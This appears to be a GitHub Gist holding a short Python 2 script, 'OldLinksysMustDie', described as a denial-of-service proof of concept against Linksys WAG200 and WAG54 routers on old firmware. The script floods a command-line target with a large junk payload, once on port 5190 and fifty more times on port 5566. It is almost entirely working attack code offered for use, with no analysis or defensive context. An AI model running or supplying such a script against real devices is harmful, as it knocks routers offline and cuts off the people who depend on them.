Created
September 6, 2014 06:41
-
-
Save vicendominguez/ad039e751ce022cfd4ba to your computer and use it in GitHub Desktop.
For WAG200* and WAG54* old firmware - My Old Linksys DOS PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/python | |
# | |
# This program is free software: you can redistribute it and/or modify | |
# it under the terms of the GNU General Public License as published by | |
# the Free Software Foundation, either version 3 of the License, or | |
# (at your option) any later version. | |
# | |
# This program is distributed in the hope that it will be useful, | |
# but WITHOUT ANY WARRANTY; without even the implied warranty of | |
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the | |
# GNU General Public License for more details. | |
# | |
# You should have received a copy of the GNU General Public License | |
# along with this program. If not, see <http://www.gnu.org/licenses/> | |
import socket | |
import sys | |
def shoot(): | |
target=sys.argv[1] | |
fuzzData = "sdas\r\nadaaer\r\ndsdasa\newqewefsdfae\n" | |
repeatFuzzData = 1 | |
while repeatFuzzData <= 12: | |
fuzzData += fuzzData | |
repeatFuzzData += 1 | |
try: | |
print "\n * Connecting to " + target + "..." | |
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
connect=s.connect((target,5190)) | |
print " * Cooking... be patient...." | |
s.send(fuzzData) | |
s.shutdown(2) | |
s.close() | |
print " * On Fire!" | |
for num in range (50): | |
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
connect=s.connect((target,5566)) | |
print "><" | |
s.send(fuzzData) | |
s.close() | |
except: | |
print "\n[BYEBYE] Ooops! connection to the target lost. [BYEBYE]\n" | |
def main(): | |
print "\nOldLinksysMustDie v0.001b PoC" | |
shoot() | |
if __name__ == "__main__": | |
main() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment